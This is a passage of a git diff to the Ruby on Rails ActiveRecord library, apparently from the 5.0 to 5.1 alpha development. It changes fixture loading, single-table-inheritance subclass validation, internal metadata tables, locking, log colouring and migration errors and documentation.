CACHE) - EXPLAINED_SQLS = /\A\s*(select|update|delete|insert)\b/i + EXPLAINED_SQLS = /\A\s*(with|select|update|delete|insert)\b/i def ignore_payload?(payload) payload[:exception] || IGNORED_PAYLOADS.include?(payload[:name]) || payload[:sql] !~ EXPLAINED_SQLS end diff --git a/activerecord/lib/active_record/fixture_set/file.rb b/activerecord/lib/active_record/fixture_set/file.rb index 8132310c91..e4a44244e2 100644 --- a/activerecord/lib/active_record/fixture_set/file.rb +++ b/activerecord/lib/active_record/fixture_set/file.rb @@ -17,29 +17,50 @@ module ActiveRecord def initialize(file) @file = file - @rows = nil end def each(&block) rows.each(&block) end + def model_class + config_row['model_class'] + end private def rows - return @rows if @rows + @rows ||= raw_rows.reject { |fixture_name, _| fixture_name == '_fixture' } + end - begin + def config_row + @config_row ||= begin + row = raw_rows.find { |fixture_name, _| fixture_name == '_fixture' } + if row + row.last + else + {'model_class': nil} + end + end + end + + def raw_rows + @raw_rows ||= begin data = YAML.load(render(IO.read(@file))) + data ? validate(data).to_a : [] rescue ArgumentError, Psych::SyntaxError => error raise Fixture::FormatError, "a YAML error occurred parsing #{@file}. Please note that YAML must be consistently indented using spaces. Tabs are not allowed. Please have a look at http://www.yaml.org/faq.html\nThe exact error was:\n #{error.class}: #{error}", error.backtrace end - @rows = data ? validate(data).to_a : [] + end + + def prepare_erb(content) + erb = ERB.new(content) + erb.filename = @file + erb end def render(content) context = ActiveRecord::FixtureSet::RenderContext.create_subclass.new - ERB.new(content).result(context.get_binding) + prepare_erb(content).result(context.get_binding) end # Validate our unmarshalled data. diff --git a/activerecord/lib/active_record/fixtures.rb b/activerecord/lib/active_record/fixtures.rb index 2c1771dd6c..ed1bbf5dcd 100644 --- a/activerecord/lib/active_record/fixtures.rb +++ b/activerecord/lib/active_record/fixtures.rb @@ -89,7 +89,7 @@ module ActiveRecord # end # # In order to use these methods to access fixtured data within your testcases, you must specify one of the - # following in your <tt>ActiveSupport::TestCase</tt>-derived class: + # following in your ActiveSupport::TestCase-derived class: # # - to fully enable instantiated fixtures (enable alternate methods #1 and #2 above) # self.use_instantiated_fixtures = true @@ -110,7 +110,7 @@ module ActiveRecord # <% 1.upto(1000) do |i| %> # fix_<%= i %>: # id: <%= i %> - # name: guy_<%= 1 %> + # name: guy_<%= i %> # <% end %> # # This will create 1000 very simple fixtures. @@ -124,7 +124,7 @@ module ActiveRecord # # Helper methods defined in a fixture will not be available in other fixtures, to prevent against # unwanted inter-test dependencies. Methods used by multiple fixtures should be defined in a module - # that is included in <tt>ActiveRecord::FixtureSet.context_class</tt>. + # that is included in ActiveRecord::FixtureSet.context_class. # # - define a helper method in `test_helper.rb` # module FixtureFileHelpers @@ -395,6 +395,20 @@ module ActiveRecord # <<: *DEFAULTS # # Any fixture labeled "DEFAULTS" is safely ignored. + # + # == Configure the fixture model class + # + # It's possible to set the fixture's model class directly in the YAML file. + # This is helpful when fixtures are loaded outside tests and + # +set_fixture_class+ is not available (e.g. + # when running <tt>rails db:fixtures:load</tt>). + # + # _fixture: + # model_class: User + # david: + # name: David + # + # Any fixtures labeled "_fixture" are safely ignored. class FixtureSet #-- # An instance of FixtureSet is normally stored in a single YAML file and @@ -578,21 +592,16 @@ module ActiveRecord @name = name @path = path @config = config - @model_class = nil - if class_name.is_a?(Class) # TODO: Should be an AR::Base type class, or any? - @model_class = class_name - else - @model_class = class_name.safe_constantize if class_name - end + self.model_class = class_name + + @fixtures = read_fixture_files(path) @connection = connection @table_name = ( model_class.respond_to?(:table_name) ? model_class.table_name : self.class.default_fixture_table_name(name, config) ) - - @fixtures = read_fixture_files path, @model_class end def [](x) @@ -615,7 +624,6 @@ module ActiveRecord # a list of rows to insert to that table. def table_rows now = config.default_timezone == :utc ? Time.now.utc : Time.now - now = now.to_s(:db) # allow a standard key to be used for doing defaults in YAML fixtures.delete('DEFAULTS') @@ -644,6 +652,13 @@ module ActiveRecord row[primary_key_name] = ActiveRecord::FixtureSet.identify(label, primary_key_type) end + # Resolve enums + model_class.defined_enums.each do |name, values| + if row.include?(name) + row[name] = values.fetch(row[name], row[name]) + end + end + # If STI is used, find the correct subclass for association reflection reflection_class = if row.include?(inheritance_column_name) @@ -664,7 +679,7 @@ module ActiveRecord row[association.foreign_type] = $1 end - fk_type = association.active_record.type_for_attribute(fk_name).type + fk_type = reflection_class.type_for_attribute(fk_name).type row[fk_name] = ActiveRecord::FixtureSet.identify(value, fk_type) end when :has_many @@ -755,13 +770,25 @@ module ActiveRecord @column_names ||= @connection.columns(@table_name).collect(&:name) end - def read_fixture_files(path, model_class) + def model_class=(class_name) + if class_name.is_a?(Class) # TODO: Should be an AR::Base type class, or any? + @model_class = class_name + else + @model_class = class_name.safe_constantize if class_name + end + end + + # Loads the fixtures from the YAML file at +path+. + # If the file sets the +model_class+ and current instance value is not set, + # it uses the file value. + def read_fixture_files(path) yaml_files = Dir["#{path}/{**,*}/*.yml"].select { |f| ::File.file?(f) } + [yaml_file_path(path)] yaml_files.each_with_object({}) do |file, fixtures| FixtureSet::File.open(file) do |fh| + self.model_class ||= fh.model_class if fh.model_class fh.each do |fixture_name, row| fixtures[fixture_name] = ActiveRecord::Fixture.new(row, model_class) end @@ -821,12 +848,12 @@ module ActiveRecord module TestFixtures extend ActiveSupport::Concern - def before_setup + def before_setup # :nodoc: setup_fixtures super end - def after_teardown + def after_teardown # :nodoc: super teardown_fixtures end @@ -848,9 +875,7 @@ module ActiveRecord self.pre_loaded_fixtures = false self.config = ActiveRecord::Base - self.fixture_class_names = Hash.new do |h, fixture_set_name| - h[fixture_set_name] = ActiveRecord::FixtureSet.default_fixture_model_name(fixture_set_name, self.config) - end + self.fixture_class_names = {} silence_warnings do define_singleton_method :use_transactional_tests do diff --git a/activerecord/lib/active_record/gem_version.rb b/activerecord/lib/active_record/gem_version.rb index a388b529c9..f33456a744 100644 --- a/activerecord/lib/active_record/gem_version.rb +++ b/activerecord/lib/active_record/gem_version.rb @@ -6,7 +6,7 @@ module ActiveRecord module VERSION MAJOR = 5 - MINOR = 0 + MINOR = 1 TINY = 0 PRE = "alpha" diff --git a/activerecord/lib/active_record/inheritance.rb b/activerecord/lib/active_record/inheritance.rb index 24098f72dc..899683ee4f 100644 --- a/activerecord/lib/active_record/inheritance.rb +++ b/activerecord/lib/active_record/inheritance.rb @@ -51,11 +51,15 @@ module ActiveRecord end attrs = args.first - if subclass_from_attributes?(attrs) + if has_attribute?(inheritance_column) subclass = subclass_from_attributes(attrs) + + if subclass.nil? && base_class == self + subclass = subclass_from_attributes(column_defaults) + end end - if subclass + if subclass && subclass != self subclass.new(*args, &block) else super @@ -82,7 +86,7 @@ module ActiveRecord # Returns the class descending directly from ActiveRecord::Base, or # an abstract class, if any, in the inheritance hierarchy. # - # If A extends AR::Base, A.base_class will return A. If B descends from A + # If A extends ActiveRecord::Base, A.base_class will return A. If B descends from A # through some arbitrarily deep hierarchy, B.base_class will return A. # # If B < A and C < B and if A is an abstract_class then both B.base_class @@ -163,25 +167,32 @@ module ActiveRecord end def using_single_table_inheritance?(record) - record[inheritance_column].present? && columns_hash.include?(inheritance_column) + record[inheritance_column].present? && has_attribute?(inheritance_column) end def find_sti_class(type_name) - if store_full_sti_class - ActiveSupport::Dependencies.constantize(type_name) - else - compute_type(type_name) + type_name = base_class.type_for_attribute(inheritance_column).cast(type_name) + subclass = begin + if store_full_sti_class + ActiveSupport::Dependencies.constantize(type_name) + else + compute_type(type_name) + end + rescue NameError + raise SubclassNotFound, + "The single-table inheritance mechanism failed to locate the subclass: '#{type_name}'. " \ + "This error is raised because the column '#{inheritance_column}' is reserved for storing the class in case of inheritance. " \ + "Please rename this column if you didn't intend it to be used for storing the inheritance class " \ + "or overwrite #{name}.inheritance_column to use another column for that information." end - rescue NameError - raise SubclassNotFound, - "The single-table inheritance mechanism failed to locate the subclass: '#{type_name}'. " + - "This error is raised because the column '#{inheritance_column}' is reserved for storing the class in case of inheritance. " + - "Please rename this column if you didn't intend it to be used for storing the inheritance class " + - "or overwrite #{name}.inheritance_column to use another column for that information." + unless subclass == self || descendants.include?(subclass) + raise SubclassNotFound, "Invalid single-table inheritance type: #{subclass.name} is not a subclass of #{name}" + end + subclass end def type_condition(table = arel_table) - sti_column = table[inheritance_column] + sti_column = arel_attribute(inheritance_column, table) sti_names = ([self] + descendants).map(&:sti_name) sti_column.in(sti_names) @@ -189,23 +200,14 @@ module ActiveRecord # Detect the subclass from the inheritance column of attrs. If the inheritance column value # is not self or a valid subclass, raises ActiveRecord::SubclassNotFound - # If this is a StrongParameters hash, and access to inheritance_column is not permitted, - # this will ignore the inheritance column and return nil - def subclass_from_attributes?(attrs) - attribute_names.include?(inheritance_column) && attrs.is_a?(Hash) - end - def subclass_from_attributes(attrs) - subclass_name = attrs.with_indifferent_access[inheritance_column] + attrs = attrs.to_h if attrs.respond_to?(:permitted?) + if attrs.is_a?(Hash) + subclass_name = attrs.with_indifferent_access[inheritance_column] - if subclass_name.present? && subclass_name != self.name - subclass = subclass_name.safe_constantize - - unless descendants.include?(subclass) - raise ActiveRecord::SubclassNotFound.new("Invalid single-table inheritance type: #{subclass_name} is not a subclass of #{name}") + if subclass_name.present? + find_sti_class(subclass_name) end - - subclass end end end diff --git a/activerecord/lib/active_record/integration.rb b/activerecord/lib/active_record/integration.rb index 15b2f65dcb..466c8509a4 100644 --- a/activerecord/lib/active_record/integration.rb +++ b/activerecord/lib/active_record/integration.rb @@ -10,12 +10,12 @@ module ActiveRecord # Indicates the format used to generate the timestamp in the cache key. # Accepts any of the symbols in <tt>Time::DATE_FORMATS</tt>. # - # This is +:nsec+, by default. + # This is +:usec+, by default. class_attribute :cache_timestamp_format, :instance_writer => false - self.cache_timestamp_format = :nsec + self.cache_timestamp_format = :usec end - # Returns a String, which Action Pack uses for constructing an URL to this + # Returns a String, which Action Pack uses for constructing a URL to this # object. The default implementation returns this record's id as a String, # or nil if this record's unsaved. # @@ -84,7 +84,7 @@ module ActiveRecord # Values longer than 20 characters will be truncated. The value # is truncated word by word. # - # user = User.find_by(name: 'David HeinemeierHansson') + # user = User.find_by(name: 'David Heinemeier Hansson') # user.id # => 125 # user_path(user) # => "/users/125-david" # diff --git a/activerecord/lib/active_record/internal_metadata.rb b/activerecord/lib/active_record/internal_metadata.rb new file mode 100644 index 0000000000..81db96bffd --- /dev/null +++ b/activerecord/lib/active_record/internal_metadata.rb @@ -0,0 +1,56 @@ +require 'active_record/scoping/default' +require 'active_record/scoping/named' + +module ActiveRecord + # This class is used to create a table that keeps track of values and keys such + # as which environment migrations were run in. + class InternalMetadata < ActiveRecord::Base # :nodoc: + class << self + def primary_key + "key" + end + + def table_name + "#{table_name_prefix}#{ActiveRecord::Base.internal_metadata_table_name}#{table_name_suffix}" + end + + def original_table_name + "#{table_name_prefix}active_record_internal_metadatas#{table_name_suffix}" + end + + def []=(key, value) + first_or_initialize(key: key).update_attributes!(value: value) + end + + def [](key) + where(key: key).pluck(:value).first + end + + def table_exists? + ActiveSupport::Deprecation.silence { connection.table_exists?(table_name) } + end + + def original_table_exists? + # This method will be removed in Rails 5.1 + # Since it is only necessary when `active_record_internal_metadatas` could exist + ActiveSupport::Deprecation.silence { connection.table_exists?(original_table_name) } + end + + # Creates an internal metadata table with columns +key+ and +value+ + def create_table + if original_table_exists? + connection.rename_table(original_table_name, table_name) + end + unless table_exists? + key_options = connection.internal_string_options_for_primary_key + + connection.create_table(table_name, id: false) do |t| + t.string :key, key_options + t.string :value + t.timestamps + end + end + end + end + end +end diff --git a/activerecord/lib/active_record/locale/en.yml b/activerecord/lib/active_record/locale/en.yml index 8a3c27e6da..0b35027b2b 100644 --- a/activerecord/lib/active_record/locale/en.yml +++ b/activerecord/lib/active_record/locale/en.yml @@ -16,8 +16,8 @@ en: messages: record_invalid: "Validation failed: %{errors}" restrict_dependent_destroy: - one: "Cannot delete record because a dependent %{record} exists" - many: "Cannot delete record because dependent %{record} exist" + has_one: "Cannot delete record because a dependent %{record} exists" + has_many: "Cannot delete record because dependent %{record} exist" # Append your own errors here or at the model/attributes scope. # You can define own errors for models or model attributes. diff --git a/activerecord/lib/active_record/locking/optimistic.rb b/activerecord/lib/active_record/locking/optimistic.rb index a09437b4b0..67b8efac66 100644 --- a/activerecord/lib/active_record/locking/optimistic.rb +++ b/activerecord/lib/active_record/locking/optimistic.rb @@ -22,7 +22,7 @@ module ActiveRecord # p1.save # # p2.first_name = "should fail" - # p2.save # Raises a ActiveRecord::StaleObjectError + # p2.save # Raises an ActiveRecord::StaleObjectError # # Optimistic locking will also check for stale data when objects are destroyed. Example: # @@ -32,7 +32,7 @@ module ActiveRecord # p1.first_name = "Michael" # p1.save # - # p2.destroy # Raises a ActiveRecord::StaleObjectError + # p2.destroy # Raises an ActiveRecord::StaleObjectError # # You're then responsible for dealing with the conflict by rescuing the exception and either rolling back, merging, # or otherwise apply the business logic needed to resolve the conflict. @@ -150,7 +150,7 @@ module ActiveRecord # The version column used for optimistic locking. Defaults to +lock_version+. def locking_column - reset_locking_column unless defined?(@locking_column) + @locking_column = DEFAULT_LOCKING_COLUMN unless defined?(@locking_column) @locking_column end @@ -184,9 +184,16 @@ module ActiveRecord end end + + # In de/serialize we change `nil` to 0, so that we can allow passing + # `nil` values to `lock_version`, and not result in `ActiveRecord::StaleObjectError` + # during update record. class LockingType < DelegateClass(Type::Value) # :nodoc: def deserialize(value) - # `nil` *should* be changed to 0 + super.to_i + end + + def serialize(value) super.to_i end diff --git a/activerecord/lib/active_record/locking/pessimistic.rb b/activerecord/lib/active_record/locking/pessimistic.rb index 3d95c54ef3..8ecdf76b72 100644 --- a/activerecord/lib/active_record/locking/pessimistic.rb +++ b/activerecord/lib/active_record/locking/pessimistic.rb @@ -51,7 +51,7 @@ module ActiveRecord # end # # Database-specific information on row locking: - # MySQL: http://dev.mysql.com/doc/refman/5.6/en/innodb-locking-reads.html + # MySQL: http://dev.mysql.com/doc/refman/5.7/en/innodb-locking-reads.html # PostgreSQL: http://www.postgresql.org/docs/current/interactive/sql-select.html#SQL-FOR-UPDATE-SHARE module Pessimistic # Obtain a row lock on this record. Reloads the record to obtain the requested diff --git a/activerecord/lib/active_record/log_subscriber.rb b/activerecord/lib/active_record/log_subscriber.rb index 6b26d7be78..efa2a4df02 100644 --- a/activerecord/lib/active_record/log_subscriber.rb +++ b/activerecord/lib/active_record/log_subscriber.rb @@ -31,9 +31,10 @@ module ActiveRecord end def sql(event) - self.class.runtime += event.duration return unless logger.debug? + self.class.runtime += event.duration + payload = event.payload return if IGNORE_PAYLOAD_NAMES.include?(payload[:name]) @@ -46,18 +47,41 @@ module ActiveRecord binds = " " + payload[:binds].map { |attr| render_bind(attr) }.inspect end - if odd? - name = color(name, CYAN, true) - sql = color(sql, nil, true) - else - name = color(name, MAGENTA, true) - end + name = colorize_payload_name(name, payload[:name]) + sql = color(sql, sql_color(sql), true) debug " #{name} #{sql}#{binds}" end - def odd? - @odd = !@odd + private + + def colorize_payload_name(name, payload_name) + if payload_name.blank? || payload_name == "SQL" # SQL vs Model Load/Exists + color(name, MAGENTA, true) + else + color(name, CYAN, true) + end + end + + def sql_color(sql) + case sql + when /\A\s*rollback/mi + RED + when /select .*for update/mi, /\A\s*lock/mi + WHITE + when /\A\s*select/i + BLUE + when /\A\s*insert/i + GREEN + when /\A\s*update/i + YELLOW + when /\A\s*delete/i + RED + when /transaction\s*\Z/i + CYAN + else + MAGENTA + end end def logger diff --git a/activerecord/lib/active_record/migration.rb b/activerecord/lib/active_record/migration.rb index a83b90a95f..81fe053fe1 100644 --- a/activerecord/lib/active_record/migration.rb +++ b/activerecord/lib/active_record/migration.rb @@ -9,40 +9,170 @@ module ActiveRecord end end - # Exception that can be raised to stop migrations from going backwards. + # Exception that can be raised to stop migrations from being rolled back. + # For example the following migration is not reversible. + # Rolling back this migration will raise an ActiveRecord::IrreversibleMigration error. + # + # class IrreversibleMigrationExample < ActiveRecord::Migration[5.0] + # def change + # create_table :distributors do |t| + # t.string :zipcode + # end + # + # execute <<-SQL + # ALTER TABLE distributors + # ADD CONSTRAINT zipchk + # CHECK (char_length(zipcode) = 5) NO INHERIT; + # SQL + # end + # end + # + # There are two ways to mitigate this problem. + # + # 1. Define <tt>#up</tt> and <tt>#down</tt> methods instead of <tt>#change</tt>: + # + # class ReversibleMigrationExample < ActiveRecord::Migration[5.0] + # def up + # create_table :distributors do |t| + # t.string :zipcode + # end + # + # execute <<-SQL + # ALTER TABLE distributors + # ADD CONSTRAINT zipchk + # CHECK (char_length(zipcode) = 5) NO INHERIT; + # SQL + # end + # + # def down + # execute <<-SQL + # ALTER TABLE distributors + # DROP CONSTRAINT zipchk + # SQL + # + # drop_table :distributors + # end + # end + # + # 2. Use the #reversible method in <tt>#change</tt> method: + # + # class ReversibleMigrationExample < ActiveRecord::Migration[5.0] + # def change + # create_table :distributors do |t| + # t.string :zipcode + # end + # + # reversible do |dir| + # dir.up do + # execute <<-SQL + # ALTER TABLE distributors + # ADD CONSTRAINT zipchk + # CHECK (char_length(zipcode) = 5) NO INHERIT; + # SQL + # end + # + # dir.down do + # execute <<-SQL + # ALTER TABLE distributors + # DROP CONSTRAINT zipchk + # SQL + # end + # end + # end + # end class IrreversibleMigration < MigrationError end class DuplicateMigrationVersionError < MigrationError#:nodoc: - def initialize(version) - super("Multiple migrations have the version number #{version}") + def initialize(version = nil) + if version + super("Multiple migrations have the version number #{version}.") + else + super("Duplicate migration version error.") + end end end class DuplicateMigrationNameError < MigrationError#:nodoc: - def initialize(name) - super("Multiple migrations have the name #{name}") + def initialize(name = nil) + if name + super("Multiple migrations have the name #{name}.") + else + super("Duplicate migration name.") + end end end class UnknownMigrationVersionError < MigrationError #:nodoc: - def initialize(version) - super("No migration with version number #{version}") + def initialize(version = nil) + if version + super("No migration with version number #{version}.") + else + super("Unknown migration version.") + end end end class IllegalMigrationNameError < MigrationError#:nodoc: - def initialize(name) - super("Illegal name for migration file: #{name}\n\t(only lower case letters, numbers, and '_' allowed)") + def initialize(name = nil) + if name + super("Illegal name for migration file: #{name}\n\t(only lower case letters, numbers, and '_' allowed).") + else + super("Illegal name for migration.") + end end end class PendingMigrationError < MigrationError#:nodoc: + def initialize(message = nil) + if !message && defined?(Rails.env) + super("Migrations are pending. To resolve this issue, run:\n\n\tbin/rails db:migrate RAILS_ENV=#{::Rails.env}") + elsif !message + super("Migrations are pending. To resolve this issue, run:\n\n\tbin/rails db:migrate") + else + super + end + end + end + + class ConcurrentMigrationError < MigrationError #:nodoc: + DEFAULT_MESSAGE = "Cannot run migrations because another migration process is currently running.".freeze + + def initialize(message = DEFAULT_MESSAGE) + super + end + end + + class NoEnvironmentInSchemaError < MigrationError #:nodoc: def initialize + msg = "Environment data not found in the schema. To resolve this issue, run: \n\n\tbin/rails db:environment:set" + if defined?(Rails.env) + super("#{msg} RAILS_ENV=#{::Rails.env}") + else + super(msg) + end + end + end + + class ProtectedEnvironmentError < ActiveRecordError #:nodoc: + def initialize(env = "production") + msg = "You are attempting to run a destructive action against your '#{env}' database.\n" + msg << "If you are sure you want to continue, run the same command with the environment variable:\n" + msg << "DISABLE_DATABASE_ENVIRONMENT_CHECK=1" + super(msg) + end + end + + class EnvironmentMismatchError < ActiveRecordError + def initialize(current: nil, stored: nil) + msg = "You are attempting to modify a database that was last run in `#{ stored }` environment.\n" + msg << "You are running in `#{ current }` environment. " + msg << "If you are sure you want to continue, first set the environment using:\n\n" + msg << "\tbin/rails db:environment:set" if defined?(Rails.env) - super("Migrations are pending. To resolve this issue, run:\n\n\tbin/rake db:migrate RAILS_ENV=#{::Rails.env}") + super("#{msg} RAILS_ENV=#{::Rails.env}\n\n") else - super("Migrations are pending. To resolve this issue, run:\n\n\tbin/rake db:migrate") + super("#{msg}\n\n") end end end @@ -59,7 +189,7 @@ module ActiveRecord # # Example of a simple migration: # - # class AddSsl < ActiveRecord::Migration + # class AddSsl < ActiveRecord::Migration[5.0] # def up # add_column :accounts, :ssl_enabled, :boolean, default: true # end @@ -79,7 +209,7 @@ module ActiveRecord # # Example of a more complex migration that also needs to initialize data: # - # class AddSystemSettings < ActiveRecord::Migration + # class AddSystemSettings < ActiveRecord::Migration[5.0] # def up # create_table :system_settings do |t| # t.string :name @@ -106,17 +236,18 @@ module ActiveRecord # # == Available transformations # + # === Creation + # + # * <tt>create_join_table(table_1, table_2, options)</tt>: Creates a join + # table having its name as the lexical order of the first two + # arguments. See + # ActiveRecord::ConnectionAdapters::SchemaStatements#create_join_table for + # details. # * <tt>create_table(name, options)</tt>: Creates a table called +name+ and # makes the table object available to a block that can then add columns to it, # following the same format as +add_column+. See example above. The options hash # is for fragments like "DEFAULT CHARSET=UTF-8" that are appended to the create # table definition. - # * <tt>drop_table(name)</tt>: Drops the table called +name+. - # * <tt>change_table(name, options)</tt>: Allows to make column alterations to - # the table called +name+. It makes the table object available to a block that - # can then add/remove columns, indexes or foreign keys to it. - # * <tt>rename_table(old_name, new_name)</tt>: Renames the table called +old_name+ - # to +new_name+. # * <tt>add_column(table_name, column_name, type, options)</tt>: Adds a new column # to the table called +table_name+ # named +column_name+ specified to be one of the following types: @@ -127,21 +258,59 @@ module ActiveRecord # Other options include <tt>:limit</tt> and <tt>:null</tt> (e.g. # <tt>{ limit: 50, null: false }</tt>) -- see # ActiveRecord::ConnectionAdapters::TableDefinition#column for details. - # * <tt>rename_column(table_name, column_name, new_column_name)</tt>: Renames - # a column but keeps the type and content. - # * <tt>change_column(table_name, column_name, type, options)</tt>: Changes - # the column to a different type using the same parameters as add_column. - # * <tt>remove_column(table_name, column_name, type, options)</tt>: Removes the column - # named +column_name+ from the table called +table_name+. + # * <tt>add_foreign_key(from_table, to_table, options)</tt>: Adds a new + # foreign key. +from_table+ is the table with the key column, +to_table+ contains + # the referenced primary key. # * <tt>add_index(table_name, column_names, options)</tt>: Adds a new index # with the name of the column. Other options include # <tt>:name</tt>, <tt>:unique</tt> (e.g. # <tt>{ name: 'users_name_index', unique: true }</tt>) and <tt>:order</tt> # (e.g. <tt>{ order: { name: :desc } }</tt>). - # * <tt>remove_index(table_name, column: column_name)</tt>: Removes the index - # specified by +column_name+. + # * <tt>add_reference(:table_name, :reference_name)</tt>: Adds a new column + # +reference_name_id+ by default an integer. See + # ActiveRecord::ConnectionAdapters::SchemaStatements#add_reference for details. + # * <tt>add_timestamps(table_name, options)</tt>: Adds timestamps (+created_at+ + # and +updated_at+) columns to +table_name+. + # + # === Modification + # + # * <tt>change_column(table_name, column_name, type, options)</tt>: Changes + # the column to a different type using the same parameters as add_column. + # * <tt>change_column_default(table_name, column_name, default)</tt>: Sets a + # default value for +column_name+ defined by +default+ on +table_name+. + # * <tt>change_column_null(table_name, column_name, null, default = nil)</tt>: + # Sets or removes a +NOT NULL+ constraint on +column_name+. The +null+ flag + # indicates whether the value can be +NULL+. See + # ActiveRecord::ConnectionAdapters::SchemaStatements#change_column_null for + # details. + # * <tt>change_table(name, options)</tt>: Allows to make column alterations to + # the table called +name+. It makes the table object available to a block that + # can then add/remove columns, indexes or foreign keys to it. + # * <tt>rename_column(table_name, column_name, new_column_name)</tt>: Renames + # a column but keeps the type and content. + # * <tt>rename_index(table_name, old_name, new_name)</tt>: Renames an index. + # * <tt>rename_table(old_name, new_name)</tt>: Renames the table called +old_name+ + # to +new_name+. + # + # === Deletion + # + # * <tt>drop_table(name)</tt>: Drops the table called +name+. + # * <tt>drop_join_table(table_1, table_2, options)</tt>: Drops the join table + # specified by the given arguments. + # * <tt>remove_column(table_name, column_name, type, options)</tt>: Removes the column + # named +column_name+ from the table called +table_name+. + # * <tt>remove_columns(table_name, *column_names)</tt>: Removes the given + # columns from the table definition. + # * <tt>remove_foreign_key(from_table, options_or_to_table)</tt>: Removes the + # given foreign key from the table called +table_name+. + # * <tt>remove_index(table_name, column: column_names)</tt>: Removes the index + # specified by +column_names+. # * <tt>remove_index(table_name, name: index_name)</tt>: Removes the index # specified by +index_name+. + # * <tt>remove_reference(table_name, ref_name, options)</tt>: Removes the + # reference(s) on +table_name+ specified by +ref_name+. + # * <tt>remove_timestamps(table_name, options)</tt>: Removes the timestamp + # columns (+created_at+ and +updated_at+) from the table definition. # # == Irreversible transformations # @@ -165,24 +334,24 @@ module ActiveRecord # # rails generate migration add_fieldname_to_tablename fieldname:string # - # This will generate the file <tt>timestamp_add_fieldname_to_tablename</tt>, which will look like this: - # class AddFieldnameToTablename < ActiveRecord::Migration + # This will generate the file <tt>timestamp_add_fieldname_to_tablename.rb</tt>, which will look like this: + # class AddFieldnameToTablename < ActiveRecord::Migration[5.0] # def change # add_column :tablenames, :fieldname, :string # end # end # # To run migrations against the currently configured database, use - # <tt>rake db:migrate</tt>. This will update the database by running all of the + # <tt>rails db:migrate</tt>. This will update the database by running all of the # pending migrations, creating the <tt>schema_migrations</tt> table # (see "About the schema_migrations table" section below) if missing. It will also # invoke the db:schema:dump task, which will update your db/schema.rb file # to match the structure of your database. # # To roll the database back to a previous migration version, use - # <tt>rake db:migrate VERSION=X</tt> where <tt>X</tt> is the version to which + # <tt>rails db:migrate VERSION=X</tt> where <tt>X</tt> is the version to which # you wish to downgrade. Alternatively, you can also use the STEP option if you - # wish to rollback last few migrations. <tt>rake db:migrate STEP=2</tt> will rollback + # wish to rollback last few migrations. <tt>rails db:migrate STEP=2</tt> will rollback # the latest two migrations. # # If any of the migrations throw an <tt>ActiveRecord::IrreversibleMigration</tt> exception, @@ -197,7 +366,7 @@ module ActiveRecord # # Not all migrations change the schema. Some just fix the data: # - # class RemoveEmptyTags < ActiveRecord::Migration + # class RemoveEmptyTags < ActiveRecord::Migration[5.0] # def up # Tag.all.each { |tag| tag.destroy if tag.pages.empty? } # end @@ -210,7 +379,7 @@ module ActiveRecord # # Others remove columns when they migrate up instead of down: # - # class RemoveUnnecessaryItemAttributes < ActiveRecord::Migration + # class RemoveUnnecessaryItemAttributes < ActiveRecord::Migration[5.0] # def up # remove_column :items, :incomplete_items_count # remove_column :items, :completed_items_count @@ -224,7 +393,7 @@ module ActiveRecord # # And sometimes you need to do something in SQL not abstracted directly by migrations: # - # class MakeJoinUnique < ActiveRecord::Migration + # class MakeJoinUnique < ActiveRecord::Migration[5.0] # def up # execute "ALTER TABLE `pages_linked_pages` ADD UNIQUE `page_id_linked_page_id` (`page_id`,`linked_page_id`)" # end @@ -241,7 +410,7 @@ module ActiveRecord # <tt>Base#reset_column_information</tt> in order to ensure that the model has the # latest column data from after the new column was added. Example: # - # class AddPeopleSalary < ActiveRecord::Migration + # class AddPeopleSalary < ActiveRecord::Migration[5.0] # def up # add_column :people, :salary, :integer # Person.reset_column_information @@ -275,21 +444,6 @@ module ActiveRecord # The phrase "Updating salaries..." would then be printed, along with the # benchmark for the block when the block completes. # - # == About the schema_migrations table - # - # Rails versions 2.0 and prior used to create a table called - # <tt>schema_info</tt> when using migrations. This table contained the - # version of the schema as of the last applied migration. - # - # Starting with Rails 2.1, the <tt>schema_info</tt> table is - # (automatically) replaced by the <tt>schema_migrations</tt> table, which - # contains the version numbers of all the migrations applied. - # - # As a result, it is now possible to add migration files that are numbered - # lower than the current schema version: when migrating up, those - # never-applied "interleaved" migrations will be automatically applied, and - # when migrating down, never-applied "interleaved" migrations will be skipped. - # # == Timestamped Migrations # # By default, Rails generates migrations that look like: @@ -307,15 +461,14 @@ module ActiveRecord # # == Reversible Migrations # - # Starting with Rails 3.1, you will be able to define reversible migrations. # Reversible migrations are migrations that know how to go +down+ for you. - # You simply supply the +up+ logic, and the Migration system will figure out + # You simply supply the +up+ logic, and the Migration system figures out # how to execute the down commands for you. # # To define a reversible migration, define the +change+ method in your # migration like this: # - # class TenderloveMigration < ActiveRecord::Migration + # class TenderloveMigration < ActiveRecord::Migration[5.0] # def change # create_table(:horses) do |t| # t.column :content, :text @@ -345,7 +498,7 @@ module ActiveRecord # can't execute inside a transaction though, and for these situations # you can turn the automatic transactions off. # - # class ChangeEnum < ActiveRecord::Migration + # class ChangeEnum < ActiveRecord::Migration[5.0] # disable_ddl_transaction! # # def up @@ -357,10 +510,31 @@ module ActiveRecord # are in a Migration with <tt>self.disable_ddl_transaction!</tt>. class Migration autoload :CommandRecorder, 'active_record/migration/command_recorder' + autoload :Compatibility, 'active_record/migration/compatibility' + # This must be defined before the inherited hook, below + class Current < Migration # :nodoc: + end + + def self.inherited(subclass) # :nodoc: + super + if subclass.superclass == Migration + subclass.include Compatibility::Legacy + end + end + + def self.[](version) + Compatibility.find(version) + end + + def self.current_version + ActiveRecord::VERSION::STRING.to_f + end + + MigrationFilenameRegexp = /\A([0-9]+)_([_a-z0-9]*)\.?([_a-z0-9]*)?\.rb\z/ # :nodoc: # This class is used to verify that all migrations have been run before - # loading a web page if config.active_record.migration_error is set to :page_load + # loading a web page if <tt>config.active_record.migration_error</tt> is set to :page_load class CheckPending def initialize(app) @app = app @@ -389,6 +563,11 @@ module ActiveRecord attr_accessor :delegate # :nodoc: attr_accessor :disable_ddl_transaction # :nodoc: + def nearest_delegate # :nodoc: + delegate || superclass.nearest_delegate + end + + # Raises <tt>ActiveRecord::PendingMigrationError</tt> error if any migrations are pending. def check_pending!(connection = Base.connection) raise ActiveRecord::PendingMigrationError if ActiveRecord::Migrator.needs_migration?(connection) end @@ -399,7 +578,7 @@ module ActiveRecord FileUtils.cd Rails.root do current_config = Base.connection_config Base.clear_all_connections! - system("bin/rake db:test:prepare") + system("bin/rails db:test:prepare") # Establish a new connection, the old database may be gone (db:test:prepare uses purge) Base.establish_connection(current_config) end @@ -414,14 +593,17 @@ module ActiveRecord end def method_missing(name, *args, &block) # :nodoc: - (delegate || superclass.delegate).send(name, *args, &block) + nearest_delegate.send(name, *args, &block) end def migrate(direction) 